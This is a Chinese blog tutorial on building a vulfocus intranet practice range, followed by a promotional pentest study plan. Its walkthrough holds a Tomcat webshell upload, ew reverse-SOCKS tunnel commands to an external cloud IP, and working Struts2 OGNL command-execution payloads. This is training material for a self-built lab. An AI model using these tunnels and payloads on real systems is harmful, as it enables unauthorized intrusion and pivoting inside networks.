记一次自己搭建内网靶场（非常详细），零基础入门到精通

文章目录

• • 前言
  • 0x01 环境搭建
  • 0x02 环境编排
  • 0x03 靶场实战
  • • web打点
    • 内网穿透(一层代理)
    • 内网穿透(二层代理)
  • 0x04 总结
• 零基础渗透测试学习计划
• • 学习路线图大纲总览
  • 学习计划
  • • 阶段一：初级网络安全工程师
    • 阶段二：中级or高级网络安全工程师（看自己能力）
    • 阶段三：顶级网络安全工程师
• 资料领取

前言

开源项目，将漏洞环境 docker 镜像，放入即可使用，开箱即用，我们搭建在云服务器上，高一点的配置会更好，可以按需搭建本地虚拟机中和自己的服务器上，我们用该环境制作靶场训练。

0x01 环境搭建

https://github.com/fofapro/vulfocus

也有在线的，不过不好用，还是自己搭建一个比较方便。

保证服务器中有docker，使用docker一键拉取。

docker pull vulfocus/vulfocus:latest

启动该容器

访问端口自己随便设置，将自己的IP替换xx.xx.xx.xx

docker run -d -p xx:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xx.xx.xx.xx  vulfocus/vulfocus

访问web界面

如果访问不到，查看自己的防火墙是否关闭，如果是云服务器，去控制台查看该端口是否对外开放 默认用户名密码为admin，如果搭建在云服务器上建议修改密码。

进入系统后，先同步一下镜像

若同步显示服务器内部错误，那就重新拉取一个新的镜像

docker pull dockerproxy.com/vulfocus/vulfocus:latest

下载自己需要的镜像就可以了，在这里我们随便下载几个命令执行的镜像，方便我们去搭建环境。

随便选几个，我们去搭建环境。

0x02 环境编排

先创建三个网卡，看自己的需要，需要几个就创建几个。

创建编排模式

开始创造环境，记得是托，点不了。

选择已下载的镜像，随便设置两层。

点击保存。然后发布。

开启环境之前，记得设置一下环境开启的时间，一般默认是每个环境三十分钟，可能不太够。

然后开启环境。

访问目标环境

环境搭建成功

0x03 靶场实战

web打点

tomcat8.0.43，使用tomcat弱口令+后台war包上传组合拳可以拿到webshell。注意jsp马需要压缩为zip后将后缀改为war包才能上传

上传war包

访问一下shell。

拿到webshell的方法。

第一种方法：先用哥斯拉生成一个jsp木马，然后使用命令:

jar cvf x.war x.jsp

上传就可以了。

第二种方法：使用msf生成一个war包。

第三种方法：使用msf搜索漏洞，一键利用。

这里我们使用第一种办法。

使用冰蝎连接我们上传的webshell。

拿到第一个flag。

内网穿透(一层代理)

成功拿到webshell，现在我们进行信息收集

ip a

``

上传一个fscan，做一下信息收集

进行信息收集

192.168.1.1:8080 open192.168.1.3:8080 open192.168.1.2:8899 open192.168.1.2:22 open192.168.1.1:8009 open192.168.1.3:8009 open[*] WebTitle http://192.168.1.3:8080   code:200 len:11230  title:Apache Tomcat/8.0.43[+] PocScan http://192.168.1.3:8080/manager/html poc-yaml-tomcat-manager-weak [{username tomcat} {password tomcat}][*] WebTitle http://192.168.1.1:8080   code:200 len:1024  title:Apache Shiro Quickstart
发现192.168.1.1 这个内网ip存在shiro框架

我们现在进行内网穿透。

可选择的方式比较多，可以用很多方式，frp，ew等。

https://github.com/SexyBeast233/SecBooks/blob/main/%E3%80%90%E5%86%85%E7%BD%91%E7%B3%BB%E5%88%97%E3%80%91intranet/%E6%9C%80%E5%A5%BD%E7%94%A8%E7%9A%84%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E5%B7%A5%E5%85%B7%E5%90%88%E9%9B%86.md

在这里我想使用ew，因为他比较轻便，也挺好用的，一条命令就可以解决问题。

先把ew工具上传到目标机器，然后准备一台云服务器，上传ew工具。

云服务器上：

./ew_for_linux64 -s rcsocks -l 1008 -e 8888

``

目标机器中

./ew_for_linux64 -s rssocks -d 123.60.137.229 -e 8888
记得赋权

显示第一层代理搭建完成，我们使用火狐浏览器去测试。

成功搭建完成。

内网穿透(二层代理)

通过刚才fscan扫描出来的结果

发现另一处web界面，存在shiro框架。

配置bp代理，抓包测试。

登陆测试

发现存在shiro框架，我们使用工具去爆破key。

记得先挂我们使用ew搭建的一层代理。

尝试利用。

命令执行成功，打入内存马

使用冰蝎去连接，记得挂代理

成功拿到该机器的webshell，找到flag。

继续信息收集，发现该机器也有两张网卡，继续上传fscan扫描，发现存在

继续搭建二层代理，我们继续使用ew这个工具，也可以尝试别的工具，萝卜青菜，各有所爱。

剩下的操作就和一层代理一个道理，主要是进行二层代理转发

云服务器

./ew_for_linux64 -s lcx_listen -l 1080 -e 8889

``

192.168.1.3机器

./ew_for_linux64 -s ssocksd -l 9999

``

192.168.1.1机器

./ew_for_linux64 -s lcx_slave -d xxx.xx.xx.xx -e 8889 -f 192.168.1.3 -g 9999

浏览器访问测试，看是否穿透成功。

可通过访问 xx.xx.xx.xx:1080 来使用192.168.1.3主机提供的 socks5 代理

这样就可以连接到二层隧道了，继续进行漏洞探测就可以了。

访问另一个web界面，尝试找到它的漏洞

配置bp抓包。

手工找到漏洞点测试判断

payload：%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}

0x04 总结

构建的场景都是一些可以拿到shell的漏洞，而且都是linux机器，只是练习内网穿透，代理转发的一些操作，不算真正意义的内网渗透。

如果想要学习内网渗透(域渗透)，建议自己本地使用虚拟机搭建，目前还没发现免费的在线的域渗透靶场，不过有收费的，想要学习的师傅们也可以去玩玩。

—END—

零基础渗透测试学习计划

学习路线图大纲总览

我一共划分了六个阶段，但并不是说你得学完全部才能上手工作，对于一些初级岗位，学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包，需要的小伙伴文末免费领取哦，无偿分享！！！

【一一帮助网络安全学习，以下所有资源文末免费领取一一】
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

接下来我将给各位同学划分一张学习计划表！

学习计划

那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：

阶段一：初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？

阶段二：中级or高级网络安全工程师（看自己能力）

综合薪资区间15k~30k

7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。

零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；

Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三：顶级网络安全工程师

这部分内容对于咱们零基础的同学来说还太过遥远了，由于篇幅问题就不展开细说了，我给大家贴一个学习路线。感兴趣的童鞋可以自行研究一下哦，当然你也可以点击这里加我与我一起互相探讨、交流、咨询哦。

资料领取